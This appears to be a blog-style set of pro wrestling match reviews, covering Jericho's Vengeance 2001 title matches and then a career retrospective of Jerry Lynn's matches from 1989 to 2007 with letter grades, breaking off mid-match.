There’s only one way to close this out as Jericho made a career out of talking about one night for over twelve years. From Vengeance 2001.

World Championship: The Rock vs. Chris Jericho

Yeah the WCW Title is the World Championship, which actually sounds more encompassing than the WWF Title, but why use logic? This was a pretty solid feud back in the day, if nothing else for the promos. Jericho is heel here. Seeing Rock bust out armdrags and leapfrogs makes me appreciate him even more. Remember, he’s about the same size as Batista or so. Imagine a guy Batista’s size doing athletic things like that. I love that springboard dropkick that Jericho does. It’s just awesome looking.

This is more of a fight than the last match as the angle was more built up in this pairing. Jericho hits a sleeper like five minutes in which is odd. Jericho is no Dolph Ziggler though so it doesn’t work. Lionsault gets two as Jericho is FREAKING. We hit the floor and this has more or less been all Jericho. Like I said earlier, he was probably at the best he ever was in his career around this time and he’s getting to showcase it here. I love when guys break a count that isn’t happening.

How often do count outs consistently get threatened? Jericho gets DDTed through the table. Didn’t look as good as it sounded. The replay makes it look a bit better. It’s fun watching Rock throw punches. Jericho hooks a Breakdown, which is more commonly known as a Skull Crushing Finale. Jericho hits the People’s Elbow, and when I say hit I mean misses completely and almost gets hooked in the Sharpshooter.

Somehow he gets the Walls, but since he’s a heel at the time it doesn’t work at all. Actually he has a Sharpshooter on Rock. Same result though. Rock hits the Rock Bottom out of NOWHERE. That was sweet. And here’s Vince. At least it makes sense in storyline terms. Rock goes for the Elbow, but stops to fight Vince.

He drops a regular elbow and of course Jericho gets up because IT IS A REGULAR ELBOW DROP. Jericho gets a low blow and Rock Bottom to win the world title. Ok then. Hearing it called the world champion is odd to say the least.

Rating: B-. This was a different style than the previous match which is a nice touch I think as it was for a different title. I’d hardly think it was intentional, but it came off pretty well. Jericho was great in the ring, but I still want to see him wrestle as a face champion. It really could work.

Austin is here NOW for the title match. Jericho isn’t even back to his feet yet when Austin is stomping him.

Undisputed Title: Chris Jericho vs. Steve Austin

Nearly immediately, Angle is here and hits him with a chair. Rock is here and hits a Rock Bottom. I guess this makes us even? The fans chant for HHH, who was semi-advertised for the show. He was in a short video earlier and that’s about it. He’ll be back in about a month to the loudest pop I have ever heard. We hit the floor for a bit with Austin dominating. Ok make that a LONG bit. Jericho goes for the Walls on the remaining table but it doesn’t work of course.

Jericho hooks an armbar despite Austin LIMPING to the ring and having Angle working on the knee the whole match. The Walls go on and there goes the referee since this is still an Attitude-Era style. HHH chant again. Jericho hits a Stunner. Vince brings out another referee, Nick Patrick in this case. I’m SHOCKED! They’re OVERBOOKING A TITLE MATCH! Flair is here and the old guys go at it, foreshadowing their match at the Rumble. Austin hits McMahon to a BIG pop.

See, it still worked to an extent. Jericho taps to the Walls (you read that right) and there’s no referee. BOOKER FREAKING T comes out and blasts Austin with a belt. And yes, THAT is how they end it, and I never realized this was Austin’s final match as a world champion. Yeah, Austin leaves the title picture other than a one off rematch at No Way Out like this, thanks to Booker T. WOW. Jericho holds up both belts with Ross freaking. Wow this came off bad at the end.

Rating: C-. This was overbooked to Nebraska and back. Even once Flair came in, I was hating it. Booker costing Austin the title is fine to build a storyline, but at the same time, it just didn’t work for me. The match wasn’t terrible, but it’s a total letdown, which fits this show perfectly.

Jericho is great in the ring but he might be even better on the mic. The guy is just hilarious and one of the best talkers of all time. He’s a complete package and one of the top B-List guys in history. I hesitate to put him near the top of a list as he was never THE guy, but suggesting that he’s anything but great would be ridiculous.

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Here’s one of the most technically sound guys you’ll ever find: Jerry Lynn.

Jerry Lynn got his start on March 23, 1988 in the Minneapolis area. He would get a few job spots on WWF TV around this time, including this match from Wrestling Challenge on June 4, 1989.

Rick Martel vs. Jerry Lynn

Martel is in his brief period of being managed by Slick. Feeling out process to start with Martel tripping Lynn down and planting him with a slam. A nice dropkick and back elbow put Lynn down but Martel stops to yell about the Tito chants. Martel nails a top rope knee drop for the pin.

Lynn’s biggest claim to fame before he hit the big time was a LONG feud against the Lightning Kid, who would become more famous as Sean Waltman. Here’s one of their matches from the Global Wrestling Federation on December 27, 1991.

Light Heavyweight Title: Jerry Lynn vs. Lightning Kid

This is 2/3 falls and Kid is defending. There are special rules here: you have to win with a set finisher or the referee won’t count. The Kid has to use something called the Lightning Strike and Lynn has to use the sleeper. That’s very different. Kid grabs a headlock to start before they trade some arm work. Lynn comes back with a springboard armdrag to escape and it’s time for a test of strength.

Kid breaks Lynn’s bridge but the referee won’t count. These stipulations are going to get annoying in a hurry. Jerry grabs an amateur hold and agrees to let Kid try the same, earning him a kick to the ribs. A headscissors sends Jerry to the floor and a big dive crushes him again. Back in and Kid misses a guillotine legdrop and Jerry slaps on a quick sleeper for the first fall.

We take a break and come back with Lynn down off something we didn’t see. Kid gets rolled up but it doesn’t count either. Some kicks have Lynn in trouble but Lynn backdrops him out to the floor. A spinning cross body from the apron to the floor crushes Kid but he comes back with a tombstone out of nowhere for the pin.

Apparently that’s the Lightning Strike. Another break and we come back Kid hitting a corner dropkick but missing a charge. Lynn escapes the Lightning Strike and hits a cross body for no count. The referee goes down and Scott Anthony comes in to knock out Lynn but hits Kid with a chain by mistake. Lynn puts on a quick sleeper for the win and the title.

Rating: C+. This was the top indy feud at this point and it holds up pretty well over twenty years later. The stipulations really hurt here and it brings the match down a bit, but at least the spots didn’t hurt things too much. The Kid was a heel here despite not being big enough to make the tombstone look that effective. Good match.

Like most wrestlers around this time, Lynn wound up in Smoky Mountain. From 1992.

Jerry Lynn vs. Killer Kyle

Kyle is in a black suit and hat with a mysterious violin case. Lynn’s shoulders bounce off Kyle and forearms have no effect. Kyle slams him down and nails a big side slam but he misses a charge into the corner. A big spinebuster stops Jerry cold for the pin. I actually dug Kyle a lot here as he had a good look and I wanted to see more of him.

Lynn would wrestle around Minnesota a lot, including this match in 1993.

Chris Candido vs. Jerry Lynn

Jerry is a Gentleman here and seems to be the face. Before the match Candido rants about something but the mic doesn’t work. Feeling out process to start until Jerry armdrags Candido into the ropes. Chris complains about his teeth and gets on the mic to say something we still can’t hear. A rollup gets two on Candido and he bails to the floor for a meeting with his manager T.R. Shock. Lynn dives on both of them and the fans are WAY into him here.

Back in and Lynn snaps off some armdrags into an armbar before doing the same sequence again. Candido complains of a hair pull despite having a crew cut. Chris comes back by sending him to the apron, only to be taken down by a flying wristdrag into a fourth armbar. They botch a Jerry leapfrog into a powerbomb as Chris lands on his back but Lynn is hurt anyway. A suplex gets a delayed two for Candido and we hit the chinlock.

After spending awhile in the hold, Lynn is sent over the top and bangs his back on the apron. He’s still able to suplex Candido on the floor but Chris sends him into the steps. Back in and another suplex gets a delayed two on Lynn, followed by a gutwrench for the same. Lynn comes back with a side slam but misses a charge into the corner.

Candido nails a side slam of his own for two and they slug it out. Lynn takes over but gets crotched on the top, only to slam Chris down to block a superplex. A high cross body takes out both Candido and the referee, allowing Chris to hit Jerry low. Shock comes in with a chain but Lynn knocks him down. Chris picks up the chain and lays Jerry out for the pin.

Rating: C+. FAR better match here as both guys looked a lot more polished. Candido likes those suplexes a bit too much but that’s to be expected for someone still honing his skills. The ending was a lot more than I would have thought we would get in a match of this level which is a nice bonus.

Lynn would head to WCW under a mask as Mr. JL. One of his highest profile matches would be at Halloween Havoc 1995.

Mr. JL vs. Sabu

JL is short for Jerry Lynn in case you didn’t know that. And yes, it’s the same Sabu. The reason he’s here is he’s the Sheik’s nephew and Sheik was the king of Detroit back in the day. Lynn is in a mask here. WOW it’s weird hearing Sabu being talked about by Tony. Also that sounds like La Parka’s future music but I’m not sure. Both guys are in purple which is odd to see. They do all kinds of flying around ringside with Sabu doing all kinds of crazy dives etc.

We even get a Bobo Brazil reference to make this even more off the wall. This is pretty good for today’s standards despite being sloppy, but for 1995 this was INSANE. I mean remember, WWF was running stuff like Mabel vs. Taker at this time so having Lynn vs. Sabu on a major PPV was ridiculous. Sabu wins it with a moonsault and Sheik throws a fireball at Lynn and hits him in the mask. Ok then. Heenan freaks over this and wants to know how to do that. Don’t ask Hogan. He tried it once and it didn’t work at all.

Rating: B+. Somewhat above average match, but considering the timeframe, this was insanity. Rey was nearly a year away from changing the whole idea of what cruiserweight wrestling was, but everyone knew this kind of stuff rocked. Sabu can be passable when he’s not trying to do a garbage match, and this is an example of that.

What would a cruiserweight be if they didn’t face Rey Mysterio at least once? From Nitro on August 26, 1996.

Cruiserweight Title: Rey Mysterio vs. Mr. JL

Jerry Lynn. Rey is holding his chest after an arm drag that opens the match. Rey works on the arm and the chest might have just been selling. They’re starting a lot slower here so maybe they’re going to have some time to work with. Both guys get in some quick shots but nothing is substantial yet. Hulk Hogan is outside the arena and let’s go look at them and the Outsiders. They go over to the Turner truck and spray paint NWO on the side of it.

After a minute of that, back to our wrestling match. Tony insists there is no fourth man and let’s watch more production truck painting. Rey has on a camel clutch which is a weird look for him. We take a break and come back with JL holding an abdominal stretch. Tony says that was vandalism. THEN WHY DON’T YOU HAVE THEM ARRESTED??? You have them on tape but the cops are never going to be called are they? This would get pushed to even dumber levels when the Steiners were almost murdered but we’ll get to that later.

Rey takes over with a flip dive and Malenko is here scouting for their title match at Fall Brawl. That match wouldn’t happen for some reason, I’d bet on an injury. Tony gives the false line about the WCW Title dating back to 1905. JL fakes Rey out and takes over. A sitout powerbomb gets two on Rey. Another attempt is countered into a sunset flip for two by Rey.

JL puts on a Boston Crab as Larry talks about how different sizes of necks are easier or harder to hurt. It’s off to a half crab now. We begin the countdown for hour #2 as JL gets a two count on a belly to back suplex. Rey rolls through something to get two. LET THE FIREWORKS BE LAUNCHED!!! They seem to energize Rey as he sends JL to the floor but is sent into the post to give JL the advantage again. Rey hooks a headscissors to send him flying up the aisle. Back in Rey sends him in and hits what we would call the West Coast Pop for the pin.

Rating: B-. Pretty good match here but it was like a car that kept trying to start but couldn’t quite get the engine going. It’s not bad but it wasn’t exactly what I was expecting from these two. The ending came from absolutely out of nowhere. The idea was supposed to be Rey escaping with a win I think, but it didn’t quite come off like that, partially due to the slower pace of this one.

After a pretty worthless few matches in the WWF, Lynn would go to ECW and appear at Cyberslam 1998.

Danny Doring vs. Jerry Lynn

Lynn is “Dynamic” here. Was he ever not old? Even here he’s 35. Technical stuff to start and Doring struts a bit, which is called the Dastardly Shuffle by Joey. Dang those fans are loud. Lynn makes fun of the Shuffle and we get into some technical stuff. Roadkill trips Lynn but Doring misses a bottom rope (yes bottom rope) elbow. Rather back and forth stuff here as Lynn takes over again.

Suplex gets two and a headbutt misses to let Doring take over again. On the floor Roadkill and Doring mess up and the heels go into the crowd. Lynn is like cool dude and gets a running start off the apron and dives over the railing with a flip dive to take them both out. Lynn misses a middle rope leg drop and Doring takes over again. Tiger Bomb gets two for Doring but he might have hurt his elbow.

The distraction lets Roadie come in and hit a walk the top rope (AmishTaker according to Joey) elbow which the referee misses somehow. Doring of course has to be a jerk and wastes time so it’s only a two count. Doring puts him on top and Lynn hits a sunset bomb for the pin out of nowhere. Oh apparently Doring is afraid of heights. Got it. Makes limited sense but got it.

Rating: C. Meh match here but it wasn’t bad. Lynn is solid in the ring but Doring is just a wrestler and not that interesting in the slightest. Nothing match here but that doesn’t mean it was bad. They needed more to work with and Doring needs WAY more charisma, which he wouldn’t really get. Decent enough opener though.

Lynn’s main feud that year would be with Justin Credible, who he would face a ridiculous 21 times over the summer. Here’s another of those matches from Heat Wave 1998.

Justin Credible vs. Jerry Lynn

These two had a best of 21 series over a summer. Justin has a mob with him more or less. Naturally we get a shot at Chyna as they say Bass is bigger. Joey says they should name her Russia. Considering there was a chick in WCW named Asya, that’s kind of funny. This is the final match of said best of 21 series. Lynn of course comes out alone.

Apparently they’re feeling each other out. What the heck? THIS IS THEIR TWENTY FIRST MATCH IN THREE MONTHS. That’s a match every FOUR DAYS. How much feeling out do you freaking need? Lynn is freaking MOVING out there. The tombstone is reversed into a rollup. Shane of course runs down Flair and Shawn even though that has nothing to do with anything.

I love how one of his first jobs in mainstream wrestling was being half of the New Rockers when Shawn was hurt. We’ll ignore that though. The first chair is in 15 minutes into the show. Well at least they waited a bit. We’re on the floor now and in full brawl mode. At least we got some wrestling stuff first so it balances out. Justin takes a DDT on the chair which should knock him out but of course it doesn’t.

That’s followed up by a hurricanrana through a table. I get that this is the last of the series, but dang man could you be a bit less contrived? To be fair though, this is a big match and not just a random pairing. Lynn keeps using the Tiger Bomb for some reason. Did he not have the Cradle Piledriver yet? Chastity gets a tombstone and Joey is glad. After an odd sequence, a tombstone from the second rope ends this with Justin winning.

Rating: C-. The weapons were a turn off for me as was all of the interference, but anyone that can have a best of 21 series is pretty decent. That’s a good way to describe Justin actually. Lynn impressed me here far more as he was carrying this. That’s Justin’s problem I think: he doesn’t do much and his offense is REALLY limited. It’s punch, taunt, chair move, taunt, tombstone. That doesn’t make you a good wrestler or character, but Heyman thought he was I guess.

Jerry’s most famous feud is with Rob Van Dam. They would have a series of matches in ECW that were highly praised and it started at Living Dangerously 1999.

TV Title: Rob Van Dam vs. Jerry Lynn

Ok let’s see if this lives up to the hype still. Van Dam gets an epic pop. Still gets nowhere near the main event or the world title. I’m stunned. Oh and he and Sabu are the tag champions again. Paul, take a good look at RVD. He’s the reason you’re out of business. The fact that you simply never made him the main guy killed your company.

Well among other things but that could have gotten you a lot of cash at the end. Lynn is a guy that the more I see the more I like. Apparently Van Dam is supposed to win in a walk. ECW needs to stop the close-ups. They do a swank sequence of can you top this which is working for me. Lynn took his head off with a clothesline there. Van Dam likes to stall. A lot.

In a funny spot Lynn drops a leg on the back of his neck when he does that split move. Perfect timing on it too so it looked great. Lynn shows off his leaping too and hits a spinning crossbody to the floor. The psychology here is that Lynn is doing basic stuff to counter Van Dam’s high stuff. Apparently one of the fans loves a girl named Melissa.

We’re in the crowd now with a bunch of jumps and flips from Van Dam. Entertaining if nothing else. Van Dam tells D-Von Alfonso to get the table. Oh wait it’s a chair. That’s better. I will never be able to avoid cringing at the surfboard. That’s just insane. Not big on the chair stuff here but with Van Dam they never booked him right anyway so it works.

SWEET counter as Lynn hits a counter to something into a springboard into a powerbomb onto a chair. Better than it sounds. Van Dam takes a reverse DDT onto the chair for two. The chair is laying on the mat for the most part which is annoying but bearable I guess. Apparently Lynn is the new F’N show. Fonzie makes the save for Van Dam as Lynn was up top with the chair.

And Lynn goes off the top and through a table against his own wishes. Lynn has been down a LONG time. Jerry stops the attack with a chair to stop the split legged moonsault. I love pinfall reversal sequences and apparently the crowd does too. The speed here is great. Van Dam takes a tornado DDT from the apron onto the table. Note that it wasn’t through it. That was scary looking.

Hey we’re back in the ring again. Lynn hits a nice jumping DDT for two…and we get a bell? The referee tries to hand him the belt as he’s making a decision. Uh, WHAT? Lynn wants five more minutes. And for once that’s what we’re going to get. That decision has boggled my mind. See my mind? It’s boggled now.

Who in the world would do that? RVD hits the Van Daminator and the Five Star to take over from nowhere and get the pin. There might have been two more minutes after Overtime started, making me wonder WHAT THE POINT TO IT WAS. They shake hands after the match which is always cool.

Rating: B. THe first time I say this I didn’t know if this was good or not but it was certainly entertaining and I think that holds up actually. It’s certainly entertaining, but the referee making the decision thing was just WEIRD. I mean have you ever heard of that before? Still though, this was full of sweet spots and while there was little flow to it, the oh my goodness factor makes up for that so I’ll take it.

They would meat again on ECW on TNN, September 10, 1999.

TV Title: Jerry Lynn vs. Rob Van Dam

Jerry doesn’t even get an entrance. Van Dam is champion and has been for the better part of ever, which is about accurate I believe. They slug it out to start and we get a pretty sweet gymnastics routine until a standoff. They both pose but as Rob does, Lynn kicks him to the floor. Lynn hits a HUGE dive to the floor to take Rob out and we take a break. Back with Lynn being thrown into the barricade but RVD misses the Van Daminator because Lynn comes up with the brilliant idea of throwing the chair back.

Rob hits a moonsault off the barricade to take Lynn out. Joel: “That piece of commentary brought to you by the master of the obvious.” THANK YOU! That’s what gets on my nerves about Styles: he spends so much time saying the moves we’re seeing. This isn’t radio. I know what a moonsault looks like. Back in and Van Dam drops a legdrop onto a chair onto Lynn’s face.

Van Dam comes in with his top rope kick to take Lynn down for a close two. Fonzie throws in a chair and Rob loads up Jerry for a superplex onto said chair but Jerry counters into a sunset bomb onto it for two. They do a pretty nice sequence with the chair with both guys trying to hit the other with it, ending with Van Dam dropkicking it into Lynn’s head. Van Dam’s monkey flip is countered and Jerry hits a Van Daminator of his own for two.

Lynn hits a tornado DDT onto the chair and both guys are down. A delayed cover gets two for Lynn and the chair is thrown to the side. Lynn loads up the cradle piledriver but RVD counters into a pretty good pinfall reversal sequence. That gets a standing ovation and they clothesline each other….and the Impact Players run in for the no contest.

Rating: B-. Good match here but the chair got a little annoying. That’s part of my problem with ECW in general: I get that it’s a hardcore based company, but I’d like to see some more wrestling before we get to something like that. Good match though, and it’s clear why they couldn’t give us an ending here, which is ok.

RVD would get injured, putting him out for months. His first match back was at Hardcore Heaven 2000 against Lynn.

Rob Van Dam vs. Jerry Lynn

This is Van Dam’s return match and his BEST FRIEND Scotty Anton is at ringside. I’m sure nothing bad can happen there. DANG Van Dam is over, and yet he wouldn’t get the world title until he beat Cena in 2006. Brilliant Heyman, brilliant. Van Dam is so over it’s scary. Let’s get it on! I’ve always wanted to say that, so I said it out loud and then I typed it.

We start with a wrestling sequence and then we stall for a bit. We do another nice sequence with little contact being made but ending with a standoff and a standing ovation. The best part about it was that in their first match it ended with Lynn hitting a legdrop. In the second it ended with the legdrop missing a Van Dam kicking him. Here both of those missed and they continued the sequence.

That gets this match major points as that’s incredibly intricate thinking in there. Van Dam poses and stalls again so Lynn just pops him. I like that as we’re physical now. Where’s Olivia Newton-John when I need her? Now the fans like Jerry. Sure why not. Van Dam goes to some of his old favorites and Lynn is in trouble. Van Dam beats him down again and so he poses for a third time in about five minutes.

Apparently Lynn has been out for like five months or so also. This is one of if not his first matches back. In a strange moment, Fonzie just walks into the ring and puts a chair down before leaving. Lynn does what only Dreamer has done that I remember and counters the Van Daminator by just throwing the chair at Rob. That was awesome. Cyrus wants Fonzie to be flogged.

The spots here are pretty cool, but they’re just kind of preplanned. Of course they are, but they’re not supposed to look like they are. Ah ok Lynn has been back for about a month now. There have been a lot of counters and such in this and it’s been cool, but I’d like some more contact. Ah there we go as Lynn bulldogs Van Dam through the table. The problem was that he went through it at the same time so it hurt them both about equally.

Lynn hits a front flip onto Anton so we’re down to only three people being involved in the match. Fonzie interferes for the fourth time as it’s just stupid at this point. Van Daminator hits with Lynn sitting on the top rope. RVD hits the Five Star onto a chair onto Lynn and Cyrus leaves the broadcast place. Here are Corino and Victory as Lynn is a part of the Network…ok no he’s not. Rhyno Gores Lynn for no apparent reason. There’s a powerbomb for RVD.

Cyrus takes a Van Daminator, causing Joey to need new pants. Fonzie takes a chair shot to FINALLY make it 1-1. And of course Anton shoves Anton off the top. Let’s see: Corino, Victory, Fonzie, Anton, Cyrus, and Rhyno. Hey only six people interfered in this. Cradle Piledriver gets two but a Cradle Piledriver on the chair ends it. If this was a year ago, this would have changed ECW. Now it means nothing.

Rating: B. Solid stuff here, but GOOD FREAKING NIGHT DO YOU THINK THEY HAD ENOUGH RUN INS HERE??? Anton and Fonzie are the only two that mean a thing here or make enough sense. This is a much better match if you have only them running in but it’s still overbooked to heck and back.

And one more match from ECW, at Anarchy Rulz 2000.

ECW World Title: Justin Credible vs. Jerry Lynn

Lynn is the home town guy here so the ending should be clear but it’s ECW so of course it’s not. Justin is still wearing the Favre jersey in Minnesota which is supposed to get heel heat. That doesn’t date the shot at all. Francine has a broken rib or something. Again, these two are in the main event and RVD isn’t. Lynn gets the hometown boy pop and it’s not bad.

We stall FOREVER as it’s been fifteen minutes plus since the last match ended and this one hasn’t even started yet. We start with some technical stuff and the fans yell at Francine. Joey isn’t sure if Justin can outwrestle Jerry. Great to see that kind of thought going into things here. Lynn hits a middle rope bulldog and we hit the mat again.

Justin goes into the corner and goes to the floor. It wouldn’t have been as bad if he hadn’t jumped over the ropes like that. The plancha mostly misses though and everyone is down. This is moving pretty slowly but there’s a TON of time left so they have time to set something up. I knew the in ring stuff was going on too long. We head to the floor to get away from this wrestling nonsense. Can’t have that now.

Lynn hits a DDT on the chair to get us back to even. This match feels like something that should be in the midcard rather than the main event. Justin gets on a mic and yells at Lynn which is cheap heat 101 and there’s nothing wrong with that. We get our like third DDT of the match on the chair. Mix it up a bit guys. And there are a pair of legdrops to fix that.

Francine makes a save so there’s no table for Credible. He can’t beat Jerry though and Lynn hits the Cradle Piledriver for two, killing the crowd. Credible gets his own piledriver for two and they’re back. The referee gets kicked in the face and another is here. He gets to two and then just stops. It’s the same referee from the RVD match so yeah he was cheating earlier. Belt shot gets two.

He’s counting so fast that Jerry is having to in essence kick at what would be a two in a normal match but is almost three here. Tombstone again gets two and it’s New Jack. Dang it. He was supposed to be the referee for no apparent reason and here he is. Cookie sheet (New Jack needs his own cooking show) for the referee but Credible knocks out Jack. He walks into a Cradle Tombstone to give Lynn the title though.

Rating: C+. Not bad here, but like I said this feels like a big midcard match and not a main event on a PPV. That’s not a good sign at all but at least Credible isn’t champion anymore. Again, RVD is never champion but Credible was for over five months. Yeah that’s intelligent. The match was good, but it was Jerry Lynn vs. Justin Credible for the world title. See a problem here?

Lynn would head to the WWF after ECW went under. Here’s his debut from April 29, 2001 on the Sunday Night Heat before Backlash.

Light Heavyweight Title: Jerry Lynn vs. Crash Holly

Crash hits the ring and gets stomped down followed by a tilt-a-whirl backbreaker for two. A LOUD ECW chant starts up as Crash comes back with right hands and a powerslam. He puts Lynn in a bow and arrow before they trade rollups for some near falls each. Lynn grabs a rollup with a handful of tights for the pin and the title.

Rating: C-. This didn’t have time to go anywhere but it’s nice to see Lynn get a title as soon as he gets to a new company. Crash didn’t do anything interesting as champion and the title was already worthless by this point so why bother having him as the champion? Nothing much to see here but it worked well enough.

Lynn would be gone in less than a year and head to TNA, where he would compete for the first X-Division Title on June 26, 2002.

X Title: AJ Styles vs. Jerry Lynn vs. Low Ki vs. Psicosis

Yes it’s just the X Title here as this isn’t an official division at this point. Ok so from what I can tell, two people start it off and when one is pinned, someone else comes in. When you lose twice, you’re eliminated. That’s a pretty cool concept actually. Styles and Psicosis start things off with AJ taking over quickly. A superkick gets two but Psicosis hits an elbow to the face to take over. Guillotine legdrop gets two on Styles but he pops back up and hits the Clash for the first pin on Psicosis.

Low Ki comes in immediately and fires off kicks, but AJ nips up from the mat and ranas him down. That was AWESOME. Low Ki reverses a German and kicks AJ’s head off to take over again. The Clash is broken up and AJ is launched into the post. Low Ki goes up top and Germans AJ down into a dragon sleeper (nowhere near as smooth as it could have been). AJ grabs the rope to escape so Low Ki kicks Styles in the head again. Low Ki misses a BIG flip dive and AJ clotheslines his head off. A German suplex into a belly to back facebuster gets the pin on Low Ki to get Jerry Lynn in to face Styles.

Lynn immediately clotheslines AJ down and hits the Cradle Piledriver to give him his first loss. This took less than ten seconds.

Psicosis comes in with a missile dropkick to the back of Lynn’s head to take him down fast. They fight over a go behind until Lynn snapmares him down, followed by a headscissors. Lynn gets a boot up in the corner and a middle rope bulldog gets two. Psicosis sends him to the floor and hits a somersalt plancha to take Lynn out. Back in and a spinwheel kick off the top gets a close two. Ricky Steamboat is going to take over as referee once we get down to two. Psicosis goes up again but jumps into a dropkick. Lynn hits the Cradle Piledriver to eliminate Psicosis.

Low Ki is back in next and it’s time to kick. To recap it’s Lynn with zero losses and Styles/Lynn with one each. Low Ki kicks Jerry down and hits a Muta Elbow for two. Lynn gets up a boot in the corner but Low Ki kicks him in the face and ranas him off the top. Jerry rolls through that into a sunset flip for two and it’s time for more kicks. Lynn says bring it on and hits an enziguri to take Low Ki down. They slug it out and Lynn backdrops him to take over. Jerry goes to the apron and avoids a shoulder to the ribs so he can hit a kind of Fameasser.

Cradle Piledriver is broken up and Low Ki grabs an arm hold. Lynn counters into a HARD powerbomb for two and loads up a brainbuster. Low Ki counters into a fisherman’s buster but Lynn counters THAT into a DDT for no cover. Cradle Piledriver hits out of nowhere and it’s down to Styles vs. Lynn. Styles has to get two falls to win the title while Lynn only has to get one.

Styles runs in and hits a quick kick but the Clash is countered into a rana. A tilt-a-whirl backbreaker gets two for Jerry and both guys are down. Lynn is sent to the apron but his sunset flip only gets one. AJ pops up top and hits a springboard moonsault for two. Jerry snaps off a tornado DDT for a two count and they’re both down again. Styles hits a DDT of his own for two but he charges into a running Liger Bomb out of the corner for two for Jerry. Cradle Piledriver is countered into the Clash and it’s one fall apiece, meaning Steamboat takes over and it’s next fall wins the title.

Both guys are down for a bit before they head to the corner. We get a pinfall reversal sequence which would make Flair and appropriately enough Steamboat jealous. There are about ten near falls in a minute and they clothesline each other to put both guys down again. They head to the floor and Lynn hits a WICKED Irish Whip into the barricade to send Styles flying.

AJ is like screw the pain and hits the moonsault into the reverse DDT on the floor to take over again. Back inside and Jerry breaks up a springboard to hit an Elevated DDT for a VERY close two. Lynn loads up the Cradle Piledriver but AJ counters into a rana. The rana is countered into a powerbomb but Lynn rotates him further than that, sending AJ’s face into the mat in a SWEET move.

Both guys are down again but it’s Lynn up first. Another Cradle Piledriver is countered into an FU into a backbreaker for two for Styles. Lynn counters a suplex into a brainbuster for two of his own. There’s a sleeper but AJ escapes and goes up top, only to get crotched and superplexed for two for Jerry. Lynn loads him up top again but AJ shoves him off and Spiral Tap gives him his first of many X Division Titles.

Rating: A. This was AWESOME and a total star making performance for AJ. Matches like this one were the ones that got the company on the map (eventually) and this was excellent even ten years later. Lynn vs. AJ was the first big feud as they would go at it for months, over that title and another one eventually. Great stuff here and an actual new idea for a match.

Lynn would also wrestle for World Wrestling All-Stars and become its Cruiserweight Champion. The company would be going out of business soon though, meaning it’s time for a unification match at the WWA Reckoning PPV.

WWA Cruiserweight Title/TNA X-Division Title: Kazarian vs. Jerry Lynn vs. Johnny Swinger vs. Chris Sabin

One fall to a finish here and the winner gets both titles. Thankfully there are no tags here and it’s a big brawl from the start. Everyone misses a flip dive before trying a quick rollup for two each leading to a fourway stalemate. We get three straight armdrags to send everyone across the ring until Sabin is left alone with Kaz. A big kick to the head gets two for Sabin but Kaz takes over while the other two brawl on the floor. Back to the Future (Sabin is on Kaz’s shoulder with Kaz dropping back into a cover) gets two and a hard clothesline gets the same.

Swinger finally comes back in to stomp Kaz into the corner before hooking up with Sabin for a double flapjack. Lynn comes in off the top to take both Kaz and Sabin down with a cross body and a bad looking rana puts Kaz down. Swinger puts Lynn in the figure four as the other two are out on the floor. Sabin and Kaz come off the top to break it up and both get two counts.

It’s Sabin and Lynn alone in the ring with Jerry hitting a hurricanrana and a dropkick for two. Lynn hooks a German suplex on Kaz but Sabin hits a sunset flip on Lynn at the same time for a double two count. Swinger makes the save and puts Sabin in an Indian Deathlock but Lynn puts Swinger in a dragon sleeper at the same time, only to have Kaz hook a reverse cravate on Lynn, all at the same time. Kaz finally turns it around into a double reverse DDT for two on Jerry.

Lynn loads up a dive on Swinger but walks into a superkick from Kaz, allowing Kaz to hit the big dive on Swinger instead. Lynn dives on both guys after getting a running start off an Irish whip from Sabin. Sabin hits a big dive onto all three guys to put everyone down. Sabin monkey flips Kaz into a double clothesline to take the other two down before Sabin belly to back superplexes Kaz off the top in another big crash.

We get the parade of finishers with Lynn hitting a TKO on Swinger for two. Kaz gets two on Sabin after a slingshot DDT and the Tower of Doom gets two for Jerry. Swinger hits a Boss Man Slam for two on Lynn and a spinning backbreaker gets the same for Sabin on Kaz. Sabin’s tornado DDT puts Swinger on the floor and Lynn counters a piledriver on Kaz into Sheamus’ White Noise for two. Sabin and Kaz are left alone in the ring with Chris hitting a MuscleBuster on a crotched Kaz for the pin and the titles.

Rating: C+. This was fun but it was every stereotype of a multiman cruiserweight match you could think of rolled into one. The problem with this comes down to feeling like I’ve seen it all before which doesn’t make it all that exciting. The ending was obvious of course but there’s only so much you can do about that.

Lynn would participate at the ECW reunion show, Hardcore Homecoming.

Justin Credible vs. Jerry Lynn

Justin is wearing a wifebeater so he looks like a bald and less interesting Billy Kidman. Apparently they had a best of 21 series in the ECW Arena in the summer of 2000. That’s not overkill at all. Jerry is in great shape which I type at the same time Joey says it. They do a technical style here and Lynn does an awesome move where he’s on the apron and teases a sunset flip but turns in the air and hits a Famerasser instead. I love that. They slow it down a lot and we get a good wrestling match out of these two. Justin argues with Hat Guy which is just fun. It’s saying a lot when you have one fan that gets over just because he’s there a lot. That’s very cool.

In a surprising spot, Jason pops Jerry with a chair and Justin gets the tombstone for a long two. This is actually pretty good. The Cradle piledriver only gets two. Jason shoves Jerry off the top rope for general heelish purposes. Lynn comes back to hit a hurricanrana through a table to the floor, which Joey for some reason calls a reverse victory roll. What the heck?

Jason pulls the referee out. Can someone exterminate him? Jazz breaks up the interference and beats up Jason. You think that’s enough J’s in this match??? The referee is named John also. Lynn hits a Cradle Tombstone Piledriver to get the pin. Lynn says that since his birthday is Sunday (This was a Friday), that wasn’t bad for a 42 year old. The fans actually chant for Justin which will never happen again.

Rating: B+. This was very good stuff. Had Jason not been so annoying and had you factored out the tables and the chair and given a hotter crowd, this was an easy A. Even still, as Lynn said, not bad for a 42 year old. That would be the case for Lynn a lot of the time as he was able to bring out the best in some pretty low level guys.

Lynn would hunt the X-Division Title, including this title shot at Final Resolution 2007.

X-Division Title: Chris Sabin vs. Jerry Lynn vs. Christopher Daniels

Daniels is champion here. I’ll give Lynn this: he does look good for a 43 year old man. Sabin gets beaten down by both guys so he hides on the ramp. Well as well as you can hide by being a pale professional wrestler in trunks hiding on a dark ramp. Back in and we get a triple crisscross. Ok that did look cool. Daniels takes over and knocks both of them down including knocking Sabin to the floor.

The champ puts a figure four headscissors onto Lynn on the middle rope, leaning out of the ring. Sabin uses the opening to kick his head off and takes over on Lynn. From what I understand, this is Lynn’s first match in TNA in about a year and a half. And someone he’s technically #1 contender to a title. Right. Anyway Daniels comes back in and goes Koji Clutch on Lynn but Sabin breaks it up.

